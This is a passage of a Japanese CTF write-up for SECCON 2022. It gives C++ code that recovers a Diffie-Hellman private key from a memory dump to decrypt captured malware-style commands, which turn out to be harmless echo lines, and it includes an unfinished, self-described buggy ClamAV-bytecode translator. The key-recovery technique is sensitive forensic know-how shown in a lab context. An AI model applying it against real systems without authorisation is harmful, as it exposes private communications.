constexpr BYTE received_command2[] = { 0x8c, 0x28, 0xc2, 0x0d, 0x02, 0x7a, 0xa8, 0xbc, 0x9a, 0x6b, 0xd4, 0x36, 0x24, 0x0c, 0x1d, 0xf7, 0x3e, 0x27, 0x14, 0xbf, 0xab, 0xae, 0xfb, 0x7d, 0x34, 0x06, 0x35, 0xdf, 0x91, 0x74, 0xe2, 0x47, 0x19, 0xdd, 0x3b, 0xcc, 0xe8, 0x95, 0x72, 0xdd, 0xad, 0x49, 0xac, 0x8c, 0x93, 0xf1, 0x22, 0xaa, 0x61, 0xad, 0xa3, 0xf3, 0xcb, 0x8a, 0xa1, 0x28, 0x8b, 0xab, 0x33, 0x95, 0x71, 0x69, 0xfd, 0x04, 0xc4, 0x82, 0xa7, 0x97, 0x55, 0x6f, 0xf0, 0x67, 0xcc, 0xb2, 0xb0, 0x31, 0xb6, 0x4c, 0x9b, 0x03, 0xe5, 0x86, 0x14, 0x20, 0x15, 0xd5, 0xbf, 0xa6, 0xa1, 0x19, 0x4b, 0x0c, 0xb9, 0x39, 0x83, 0x2c, 0x26, 0x09, 0xf3, 0x18, 0x4f, 0x18 };

[[noreturn]] void PrintMessageAndLastErrorAndDie(std::string_view str)
{
    const auto lastError = GetLastError();
    std::cout << str << std::endl;

    std::cout << "LastError: "sv << lastError << std::endl;

    LPSTR pStrFormatted = nullptr;
    size_t size = FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
        NULL, lastError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPSTR)&pStrFormatted, 0, NULL);
    std::cout << "Description: "sv << pStrFormatted << std::endl;
    LocalFree(pStrFormatted);
    std::exit(1);
}

void DecryptAndPrint(HCRYPTKEY hKey, const BYTE* pEncrypted, DWORD dwEncryptLength)
{
    std::vector<BYTE> buffer(pEncrypted, pEncrypted + dwEncryptLength);
    DWORD len = (DWORD)buffer.size();
    if (!CryptDecrypt(hKey, 0, TRUE, 0, buffer.data(), &len))
    {
        PrintMessageAndLastErrorAndDie("Failed to CryptDecrypt"sv);
    }

    for (auto b : buffer)
    {
        std::cout << (char)b;
    }
    std::cout << std::endl;
}

std::vector<BYTE> ReadAllFileContent(const char* filepath)
{
    std::ifstream ifs(filepath, std::ios::binary);
    ifs.seekg(0, std::ios::end);
    std::streamsize size = ifs.tellg();
    ifs.seekg(0, std::ios::beg);
    std::vector<BYTE> result;
    result.resize(size);
    if (!ifs.read((char*)result.data(), result.size()))
    {
        PrintMessageAndLastErrorAndDie("Failed to read file"sv);
    }
    return result;
}

std::vector<BYTE> FindPrivateKeyFromDump(HCRYPTPROV hProv, int part, int total_count)
{
    constexpr BYTE expectedPublicKeyBlob[] =
    {
        0x06, 0x02, 0x00, 0x00, 0x02, 0xAA, 0x00, 0x00, 0x00, 0x44, 0x48, 0x31, 0x00, 0x02, 0x00, 0x00, // ヘッダー, magic箇所は"DH1" + "\0"
        0x46, 0xA7, 0x17, 0xB1, 0xD5, 0x45, 0x37, 0xE8, 0x62, 0xF6, 0xBA, 0x6F, 0x80, 0x9A, 0xED, 0x00, // G^X%P
        0x21, 0xAF, 0xC4, 0x4B, 0x8C, 0x95, 0xC9, 0xBE, 0xC8, 0x09, 0x51, 0x8F, 0x10, 0x00, 0x1C, 0xC9,
        0x64, 0x89, 0xAD, 0x89, 0x14, 0xE1, 0xD4, 0xE0, 0x08, 0xAA, 0x60, 0xBE, 0x8F, 0xE3, 0x6F, 0x9B,
        0x15, 0x6E, 0x35, 0x89, 0x40, 0xBB, 0xC1, 0xAA, 0x70, 0x90, 0x98, 0xD9, 0x39, 0x57, 0xE6, 0x37,
    };

    BYTE privateKeyBlob[] =
    {
        0x07, 0x02, 0x00, 0x00, 0x02, 0xAA, 0x00, 0x00, 0x00, 0x44, 0x48, 0x32, 0x00, 0x02, 0x00, 0x00, // ヘッダー, magic箇所は"DH2" + "\0"
        0xED, 0xA1, 0x53, 0x9B, 0xD8, 0x26, 0x05, 0x03, 0x3A, 0x88, 0x52, 0x29, 0xF8, 0x77, 0x54, 0xCF, // P
        0x1D, 0xAB, 0x60, 0x3A, 0xB9, 0xB0, 0x1F, 0xE3, 0xA3, 0x69, 0x4E, 0x84, 0xB6, 0x2F, 0x02, 0x20,
        0x1F, 0xE1, 0x6E, 0x25, 0xCD, 0xBB, 0x74, 0x56, 0x32, 0x05, 0x02, 0x6A, 0x8F, 0x7B, 0x9A, 0x89,
        0x80, 0x52, 0x71, 0xEE, 0xF8, 0xA6, 0x4B, 0x91, 0xB1, 0x35, 0x03, 0x76, 0xC1, 0xCE, 0x21, 0xCF,
        0x14, 0xCF, 0x6B, 0x2F, 0xCA, 0xE9, 0x51, 0xA6, 0xFD, 0x4D, 0xAB, 0xEA, 0x92, 0x29, 0xBB, 0xB8, // G
        0x3F, 0xB4, 0x56, 0x54, 0x1B, 0x8E, 0x7C, 0xE7, 0x1E, 0x68, 0x50, 0x02, 0x4B, 0x44, 0x7B, 0xA3,
        0x13, 0xC8, 0x83, 0x69, 0xC0, 0x1A, 0xDE, 0x06, 0x11, 0x6D, 0x0D, 0xAB, 0x93, 0x0F, 0xAE, 0xFB,
        0x96, 0x17, 0x77, 0x86, 0x9B, 0x7D, 0xCD, 0x72, 0xCE, 0x1F, 0x80, 0x36, 0x49, 0x06, 0x79, 0x7C,
        0x1B, 0x84, 0xA1, 0xB0, 0x48, 0x21, 0xE7, 0xA9, 0x4C, 0x2E, 0xF4, 0x3E, 0x3E, 0x1D, 0x40, 0x17, // X、ここを変更する。今入っているものは動作確認時の値。
        0x45, 0xC8, 0x65, 0x62, 0xD5, 0x69, 0xA4, 0xA0, 0x1F, 0x34, 0xA9, 0x65, 0x60, 0x66, 0xBE, 0x57,
        0x22, 0x22, 0x65, 0x88, 0xDC, 0x9E, 0x6B, 0x76, 0xB9, 0x54, 0x81, 0x62, 0x8E, 0x57, 0x2D, 0xBD,
        0xE1, 0xE8, 0x1F, 0x6A, 0x0E, 0x60, 0x10, 0xB3, 0x67, 0x69, 0x3E, 0x93, 0xBE, 0xFC, 0x0E, 0x6B,
    };
    constexpr int offsetX = 16 + 64 + 64;
    constexpr int sizeX = 64;
    HCRYPTKEY hKey;
    BYTE actualPublicKeyBlob[80];
    auto dump = ReadAllFileContent(R"(D:\Documents\work\ctf\SECCON_2022\reversing_DoroboH\araiguma.DMP)");

    std::size_t start = (dump.size() - sizeX) / total_count * part;
    std::size_t end = (dump.size() - sizeX) / total_count * (part + 1);
    for (int i = start; i < end; ++i)
    {
        if (i % 10000 == 0)
        {
            std::cout << (i - start) << " / " << (end - start) << std::endl;
        }

        memcpy(privateKeyBlob + offsetX, &dump[i], sizeX);
        if (!CryptImportKey(hProv, privateKeyBlob, sizeof(privateKeyBlob), 0, 0, &hKey))
        {
            PrintMessageAndLastErrorAndDie("Failed to CryptImportKey for send key"sv);
        }
        DWORD dwExportLength = sizeof(actualPublicKeyBlob);
        if (!CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, actualPublicKeyBlob, &dwExportLength))
        {
            PrintMessageAndLastErrorAndDie("Failed to CryptExportKey"sv);
        }
        if (dwExportLength != sizeof(actualPublicKeyBlob))
        {
            PrintMessageAndLastErrorAndDie("dwExportLength was changed!"sv);
        }
        if (memcmp(expectedPublicKeyBlob, actualPublicKeyBlob, dwExportLength) == 0)
        {
            std::cout << "Find X at offset " << i << std::endl;
            return std::vector(privateKeyBlob, privateKeyBlob + sizeof(privateKeyBlob));
        }
        if (!CryptDestroyKey(hKey))
        {
            PrintMessageAndLastErrorAndDie("Failed to CryptDestroyKey"sv);
        }
    }

    PrintMessageAndLastErrorAndDie("Failed to find X..."sv);
}

constexpr int total_count = 8;

int main(int argc, const char* argv[]) {
    if (argc < 2)
    {
        std::cerr << "Usage: " << argv[0] << " PART_OF_" << total_count << std::endl;
        std::exit(0);
    }

    HCRYPTPROV hProv = 0;
    if (!CryptAcquireContextA(&hProv, 0, MS_ENH_DSS_DH_PROV_A, PROV_DSS_DH, CRYPT_VERIFYCONTEXT))
    {
        PrintMessageAndLastErrorAndDie("Failed to CryptAcquireContextA"sv);
    }

    // どうやら、SetKeyParamsによるKP_Xを使ったXの設定はERROR_INVALID_PARAMETERで失敗するらしい。
    // そのためCryptImportKeyでXもろとも設定する必要がありそう。
    auto privateKeyBlob = FindPrivateKeyFromDump(hProv, std::stoi(argv[1]), total_count);
    HCRYPTKEY hKeyToSend;
    if (!CryptImportKey(hProv, privateKeyBlob.data(), privateKeyBlob.size(), 0, 0, &hKeyToSend))
    {
        PrintMessageAndLastErrorAndDie("Failed to CryptImportKey for send key"sv);
    }
    HCRYPTKEY hKeyReceived;
    if (!CryptImportKey(hProv, recieved_key, sizeof(recieved_key), hKeyToSend, 0, &hKeyReceived))
    {
        PrintMessageAndLastErrorAndDie("Failed to CryptImportKey for received key"sv);
    }
    DWORD dwAlgId = CALG_RC4;
    if (!CryptSetKeyParam(hKeyReceived, KP_ALGID, (const BYTE*)&dwAlgId, 0))
    {
        PrintMessageAndLastErrorAndDie("Failed to CryptSetKeyParam for set ALGID"sv);
    }

    DecryptAndPrint(hKeyReceived, received_command1, sizeof(received_command1));
    DecryptAndPrint(hKeyReceived, received_command2, sizeof(received_command2));
}

8並列で実行すると、無事見つかってくれました:

$ Solve.exe 0
(進捗表示省略)
Find X at offset 427985
/C echo "SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}" > C:\Users\ctf\Desktop\flag.txt

/C echo "I regret to say that your computer is pwned... :(" > C:\Users\ctf\Desktop\notification.txt

$

フラグを入手できました: SECCON{M3m0ry_Dump+P4ck3t_C4ptur3=S0ph1st1c4t3d_F0r3ns1cs}

(ところで、問題名やファイル名、READMEの登場人物を見るに、「帽子泥棒」を追う二匹が元ネタだったりするんでしょうか)

解けなかった問題

[reversing] Devil Hunter (168 solves, 31 points)

Clam Devil; Asari no Akuma

配布ファイルとして、シェルスクリプトと、シェルスクリプト内部で使用するファイルがありました:

$ file *
check.sh: POSIX shell script, ASCII text executable
flag.cbc: ASCII text, with very long lines (916)
$ cat check.sh
#!/bin/sh
if [ -z "$1" ]
then
    echo "[+] ${0} <flag.txt>"
    exit 1
else
    clamscan --bytecode-unsigned=yes --quiet -dflag.cbc "$1"
    if [ $? -eq 1 ]
    then
        echo "Correct!"
    else
        echo "Wrong..."
    fi
fi
$ cat flag.cbc
ClamBCafhaio`lfcf|aa```c``a```|ah`cnbac`cecnb`c``beaacp`clamcoincidencejb:4096
Seccon.Reversing.{FLAG};Engine:56-255,Target:0;0;0:534543434f4e7b
Teddaaahdabahdacahdadahdaeahdafahdagahebdeebaddbdbahebndebceaacb`bbadb`baacb`bb`bb`bdaib`bdbfaah
Eaeacabbae|aebgefafdf``adbbe|aecgefefkf``aebae|amcgefdgfgifbgegcgnfafmfef``
G`ad`@`bdeBceBefBcfBcfBofBnfBnbBbeBefBfgBefBbgBcgBifBnfBgfBnbBfdBldBadBgd@`bad@Aa`bad@Aa`
A`b`bLabaa`b`b`Faeac
Baa``b`abTaa`aaab
Bb`baaabbaeAc`BeadTbaab
BTcab`b@dE
A`aaLbhfb`dab`dab`daahabndabad`bndabad`b`b`aa`b`d`b`d`b`d`b`b`bad`bad`b`b`aa`b`d`b`b`aa`ah`aa`aa`b`b`aa`b`d`b`d`b`d`b`b`bad`bad`b`b`b`b`b`d`b`d`b`b`b`b`bad`b`b`bad`b`d`aa`b`b`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`b`bad`b`b`bad`b`b`aa`aa`b`d`b`d`aa`Fbcgah
Bbadaedbbodad@dbadagdbbodaf@db`bahabbadAgd@db`d`bb@habTbaab
Baaaiiab`dbbaBdbhb`d`bbbbaabTaaaiabac
Bb`dajbbabajb`dakh`ajB`bhb`dalj`akB`bhb`bamn`albadandbbodad@dbadaocbbadanamb`bb`aabbabaoAadaabaanab`bb`aAadb`dbbaa`ajAahb`d`bb@h`Taabaaagaa
Bb`bbcaabbabacAadaabdakab`bbca@dahbeabbacbeaaabfaeaahbeaBmgaaabgak`bdabfab`d`bb@h`Taabgaadag
Bb`bbhaabbabacAadaabiakab`bbha@db`d`bb@haab`d`bb@h`Taabiaagae
Bb`dbjabbaabjab`dbkah`bjaB`bhb`dblaj`bkaB`bhb`bbman`blabadbnadbbodad@dbadboacbbadbnabmab`bb`bgbboab`bbab`baacb`bb`dbbbh`bjaBnahb`dbcbj`bbbB`bhb`bbdbn`bcbb`bbebc`Add@dbadbfbcbbadagbebb`bbgbc`Addbdbbadbhbcbbadbfbbgbb`b`fbbabbhbb`dbiba`bjaAdhaabjbiab`dbibBdbhb`d`bbbibaaTaabjbaeaf
Bb`bbkbgbagaablbeab`bbkbHbj`hnicgdb`bbmbc`Add@dbadbnbcbbadagbmbb`bbobc`AddAadbadb`ccbbadbnbbobb`bbacgbb`caabbceab`bbacHcj`hnjjcdaabcck`blbbbcb`bbdcc`Add@dbadbeccbbadagbdcb`bbfcc`AddAbdbadbgccbbadbecbfcb`bbhcgbbgcaabiceab`bbhcHoigndjkcdaabjck`bccbicb`bbkcc`Add@dbadblccbbadagbkcb`bbmcc`AddAcdbadbnccbbadblcbmcb`bbocgbbncaab`deab`bbocHcoaljkhgdaabadk`bjcb`db`bbbdc`Add@dbadbcdcbbadagbbdb`bbddc`AddAddbadbedcbbadbcdbddb`bbfdgbbedaabgdeab`bbfdHcoalionedaabhdk`badbgdb`bbidc`Add@dbadbjdcbbadagbidb`bbkdc`AddAedbadbldcbbadbjdbkdb`bbmdgbbldaabndeab`bbmdHoilnikkcdaabodk`bhdbndb`bb`ec`Add@dbadbaecbbadagb`eb`bbbec`AddAfdbadbcecbbadbaebbeb`bbdegbbceaabeeeab`bbdeHdochfheedaabfek`bodbeeb`bbgec`Add@dbadbhecbbadagbgeb`bbiec`AddAgdbadbjecbbadbhebieb`bbkegbbjeaableeab`bbkeHdiemjoeedaabmek`bfebleb`bbnec`Add@dbadboecbbadagbneb`bb`fc`AddAhdbadbafcbbadboeb`fb`bbbfgbbafaabcfeab`bbbfHoimmoklfdaabdfk`bmebcfb`dbefo`bdfb`d`bbbef`Tbaag
Bb`dbffbb`bffaabgfn`bffTcaaabgfE
Aab`bLbaab`b`b`dab`dab`d`b`d`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`b`aa`b`d`b`d`Fbfaac
Bb`d`bb@habb`d`bbG`lckjljhaaTbaaa
Bb`dacbbaaacb`dadbbabadb`baen`acb`bafn`adb`bagh`afAcdb`bahi``agb`baik`ahBoodb`bajm`aiaeb`bakh`ajAhdb`bali`aeBhadb`baml`akalb`bana`afAadaaaoeab`banAddb`db`ao`anb`dbaao`amb`d`bbb`aabb`d`bbbaaaaTaaaoabaa
BTcab`bamE
Snfofdg`bcgof`befafcgig`bjc`ej`
$

実質的にclamscanコマンドの戻り値が重要な問題のようです。CBCファイルとは、clamav-bytecode-compiler/clambc-user.pdf at main · Cisco-Talos/clamav-bytecode-compiler によると/usr/local/clamav/bin/clambc-compiler foo.c -o foo.cbc -O2のようにC言語ソースをコンパイルして作られる、ClamAVのバイトコードとのことです。

逆コンパイルする方法を探すと、前述のPDFで言及されているClamBCコマンドでできそうなので試しました:

$ clambc --version
Clam AntiVirus Bytecode Testing Tool 0.103.6
LLVM is not compiled or not linked
$ clambc --info flag.cbc
Bytecode format functionality level: 6
Bytecode metadata:
        compiler version: 0.105.0
        compiled on: (1668026257) Thu Nov 10 05:37:37 2022
        compiled by:
        target exclude: 0
        bytecode type: logical only
        bytecode functionality level: 0 - 0
        bytecode logical signature: Seccon.Reversing.{FLAG};Engine:56-255,Target:0;0;0:534543434f4e7b
        virusname prefix: (null)
        virusnames: 0
        bytecode triggered on: files matching logical signature
        number of functions: 3
        number of types: 21
        number of global constants: 4
        number of debug nodes: 0
        bytecode APIs used:
         read, seek, setvirusname
$ clambc --printsrc flag.cbc
not so easy :P
$ clambc --printbcir flag.cbc > clambc_printbcir.txt
$

Cソースコードへの逆コンパイルは失敗しましたが、バイトコード中間表現への逆アセンブルは成功しました。compiler versionと同一のバージョン105のclambcでも試しましたが同一の結果でした。

逆アセンブル結果をしばらく目で見ていましたが、あまりにも冗長で理解が辛いものでした。そのためC++言語へのトランスレーターを書いてコンパイルして、IDAやanger, z3に頼ろうと思いました。以下のソースを参考にしながらひたすら各オペコードの分岐を書きました:

とはいえ、OP_BC_GEP1OP_BC_GEPZの処理内容が理解できないままだったり、OP_BC_SEXTのオペランドの1や20はビット数を表すのか何なのか自信がないままだったりします。結局トランスレーターを書き上げたつもりでしたが、変換後C++ソースコードをO3コンパイルすると、フラグ表示箇所がWrong固定になったり、関数内容がグローバル変数操作のみになったりしたので、トランスレーターにバグがあるのでしょう……。何が悪いのか分からないまま時間切れとなりました。

書いたトランスレーターと、変換したC++ソースコードを供養として残しておきます:

#!/usr/bin/env python3

import sys
import re

name_global_file_var = "g_fileInput"
def name_label(id): return f"label{id}"
def name_variable(id): return f"var{id}"
def name_constant(id): return f"const{id}"
def name_function(id): return f"Func{id}"


def write(line):
    print(line)

def write_file_header():
    write("""// this file is genereted by script
#include <cstdio>
#include <cstring>
#include <stdexcept>


bool g_succeeded = false;
signed char g_input[256];
int g_inputLength = 0;
int g_currentIndex = 0;
int my_setvirusname(...)
{
    g_succeeded = true;
    return 0;
}
int my_read(signed char*p, int length)
{
    // 今回のlengthは1のみ
    if (g_currentIndex < g_inputLength)
    {
        *p = g_input[g_currentIndex];
        g_currentIndex += 1;
        return 1;
    }
    else
    {
        return 0;
    }
}
int my_seek(int position, int type)
{
    // 今回はtypeは0(=big)のみ
    g_currentIndex = position;
    return 0; // 特段使わなさそう
}

int Func0();
bool Func1();
int Func2(int);
""")

def write_file_footer():
    write("""

int main() {
    g_inputLength = scanf("%s", g_input);
    Func0();
    puts(g_succeeded ? "Congratulations!" : "Wrong...");
}
""")

def write_function_header(function_id):
    # 今回はこれでいい
    function_id = int(function_id)
    return_type = "bool" if function_id == 1 else "int"
    argument_list = f"(int {name_variable(0)})" if function_id == 2 else "()"
    write(f"{return_type} {name_function(function_id)}{argument_list} {{")

def write_function_footer():
    write("""
throw std::logic_error("Must not reach here");
}
""")

def write_local_variable_line(line):
    m = re.match(r"\s*\d+\s*\[\s*(\d+)\]:\s*(.*)", line)
    assert m
    variable_id = m.group(1)
    variable_type = m.group(2)
    array_part = ""
    if variable_type == "i32 argument": return # 関数ヘッダーで無理やり扱っている
    elif variable_type == "i1": c_type = "bool"
    elif variable_type == "i8": c_type = "signed char"
    elif variable_type == "i32": c_type = "int"
    elif variable_type == "i64": c_type = "long long"
    elif variable_type == "alloc i8": c_type = "signed char"
    elif variable_type == "alloc i64": c_type = "long long"
    elif variable_type == "i8*": c_type = "signed char*"
    elif variable_type == "alloc [36 x i8]": c_type = "signed char"; array_part = "[36]"
    else: raise Exception(f"Unknown variable type: {variable_type}")
    write(f"{c_type} {name_variable(variable_id)}{array_part} = {{}};")

def write_constant_variable_line(line):
    m = re.match(r"\s*\d+\s*\[\s*(\d+)\]:\s*(\d+)\(0x[a-f0-9]+\)", line)
    assert m
    constant_id = m.group(1)
    value = m.group(2)
    hexed_value = f"0x{int(value):08X}"
    write(f"constexpr auto {name_constant(constant_id)} = {hexed_value};")

# パース結果の現在のBBを返す。
def write_function_body_line(line, variable_count, lastBbIndex):

    def parse_symbol(var_or_const_id):
        assert re.match("\d+", var_or_const_id)
        return name_variable(var_or_const_id) if (int(var_or_const_id) < variable_count) else name_constant(var_or_const_id)
    def parse_direct_or_indirect_expression(ex):
        if re.match("\d+", ex): return parse_symbol(ex)
        m = re.match("p\.(\d+)", ex)
        assert m
        indirect_variable_id = m.group(1)
        return f"{parse_symbol(indirect_variable_id)}"

    m1 = re.match(r"\s*(\d+)\s+\d+\s*([A-Z0-9_]+)\s+\[[^]]+\]\s+(.+)", line)
    assert m1
    BB = m1.group(1)
    opcode = m1.group(2)
    inst = m1.group(3)

    if BB != lastBbIndex:
        write(f"\n{name_label(BB)}:")

    if opcode == "OP_BC_ADD":
        def core():
            m = re.match(r"(\d+) = (\d+) \+ (\d+)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} + {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_SUB":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_MUL":
        def core():
            m = re.match(r"(\d+) = (\d+) \* (\d+)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} * {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_UDIV":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_SDIV":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_UREM":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_SREM":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_SHL":
        def core():
            m = re.match(r"(\d+) = (\d+) << (\d+)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} << {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_LSHR":
        def core():
            m = re.match(r"(\d+) = (\d+) >> (\d+)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = (long long)((unsigned long long)(long long){parse_symbol(lhv_var)} >> {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_ASHR":
            m = re.match(r"(\d+) = (\d+) >> (\d+)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ((long long){parse_symbol(lhv_var)} >> {parse_symbol(rhv_var)});")
    elif opcode == "OP_BC_AND":
        def core():
            m = re.match(r"(\d+) = (\d+) & (\d+)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} & {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_OR":
        def core():
            m = re.match(r"(\d+) = (\d+) \| (\d+)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} | {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_XOR":
        def core():
            m = re.match(r"(\d+) = (\d+) \^ (\d+)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} ^ {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_TRUNC":
        def core():
            m = re.match(r"(\d+) = (\d+) trunc ffffffffffffffff", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} & 0xffffffffffffffff);")
        core()
    elif opcode == "OP_BC_SEXT":
        def core():
            m = re.match(r"(\d+) = (\d+) sext (\d+)", inst)
            assert m
            result_var = m.group(1)
            var2 = m.group(2)
            var3 = m.group(3) # とりあえず大きめにキャストしておけばいいのでは→いや、そのbitに切り捨てが必要かもしれない
            write(f"{parse_symbol(result_var)} = (long long){parse_symbol(var2)} & 0x{(1<<int(var3))-1:08X};")
        core()
    elif opcode == "OP_BC_ZEXT":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_BRANCH":
        def core():
            m = re.match(r"br (\d+) \? bb.(\d+) : bb.(\d+)", inst)
            assert m
            condition_var = m.group(1)
            true_branch = m.group(2)
            false_branch = m.group(3)
            write(f"if ({parse_symbol(condition_var)} & 1) {{goto {name_label(true_branch)};}} else {{goto {name_label(false_branch)};}}")
        core()
    elif opcode == "OP_BC_JMP":
        def core():
            m = re.match(r"jmp bb\.(\d)", inst)
            assert m
            branch = m.group(1)
            write(f"goto {name_label(branch)};")
        core()
    elif opcode == "OP_BC_RET":
        def core():
            m = re.match(r"ret (\d+)", inst)
            assert m
            var = m.group(1)
            write(f"return {parse_symbol(var)};")
        core()
    elif opcode == "OP_BC_RET_VOID":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_ICMP_EQ":
        def core():
            m = re.match(r"(\d+) = \((\d+) == (\d+)\)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} == {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_ICMP_NE":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_ICMP_UGT":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_ICMP_UGE":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_ICMP_ULT":
        def core():
            m = re.match(r"(\d+) = \((\d+) < (\d+)\)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ((unsigned long long)(long long){parse_symbol(lhv_var)} < (unsigned long long)(long long){parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_ICMP_ULE":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_ICMP_SGT":
        def core():
            m = re.match(r"(\d+) = \((\d+) > (\d+)\)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ((long long){parse_symbol(lhv_var)} > (long long){parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_ICMP_SGE":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_ICMP_SLE":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_ICMP_SLT":
        def core():
            m = re.match(r"(\d+) = \((\d+) < (\d+)\)", inst)
            assert m
            result_var = m.group(1)
            lhv_var = m.group(2)
            rhv_var = m.group(3)
            write(f"{parse_symbol(result_var)} = ({parse_symbol(lhv_var)} < {parse_symbol(rhv_var)});")
        core()
    elif opcode == "OP_BC_SELECT":
        raise Exception(f"Not Implemnted: {opcode}")
        def core():
            m = re.match(r"", inst)
            assert m
        core()
    elif opcode == "OP_BC_CALL_DIRECT":
        def core():
            m = re.match(r"(\d+) = call F.(\d) \((\d*)\)", inst)
            assert m
            result_var = m.group(1)
            function_id = m.group(2)
            argument_var = m.group(3)
            write(f"{parse_symbol(result_var)} = {name_function(function_id)}({''if len(argument_var)==0 else parse_symbol(argument_var)});")
        core()
    elif opcode == "OP_BC_CALL_API":
        def core():
            # 今回のはすべて2引数
            m = re.match(r"(\d+) = ([a-z]+)\[\d\] \(([a-z0-9.-]+), ([a-z0-9.-]+)\)", inst)
            assert m
            result_var = m.group(1)
            api_name = m.group(2)
            arg1_var = m.group(3)
            arg2_var = m.group(4)
            # setvirusnameの第1引数は文字列らしく、負の数が突っ込まれている。意味不明なので無視
            # Func1のvar3がalloc i8なのにreadの第1引数に渡されている。そこ以外は妥当なのでここで特別扱い
            corrected_var1 = 0 if api_name == "setvirusname" else ("&" if arg1_var == "p.3" else "") + parse_direct_or_indirect_expression(arg1_var)
            write(f"{parse_symbol(result_var)} = my_{api_name}({corrected_var1}, {parse_direct_or_indirect_expression(arg2_var)});")
        core()
    elif opcode == "OP_BC_COPY":
        def core():
            m = re.match(r"cp (\d+) -> (\d+)", inst)
            assert m
            src = m.group(1)
            dst = m.group(2)
            write(f"{parse_symbol(dst)} = {parse_symbol(src)};")
        core()
    elif opcode == "OP_BC_GEP1": # 1段階の間接参照らしい
        def core():
            m = re.match(r"(\d+) = gep1 ([a-z0-9.]+) \+ \((\d+) \* (\d+)\)", inst)
            assert m
            result_var = m.group(1)
            var1 = m.group(2)
            var2 = m.group(3)
            var3 = m.group(4)
            write(f"{parse_symbol(result_var)} = ({parse_direct_or_indirect_expression(var1)} + ({parse_symbol(var2)} * {parse_symbol(var3)}));")
        core()
    elif opcode == "OP_BC_GEPZ": # 2段階の間接参照らしい。なぜ2でなくZなのか。
        def core():
            m = re.match(r"(\d+) = gepz ([a-z0-9.]+) \+ \((\d+)\)", inst)
            assert m
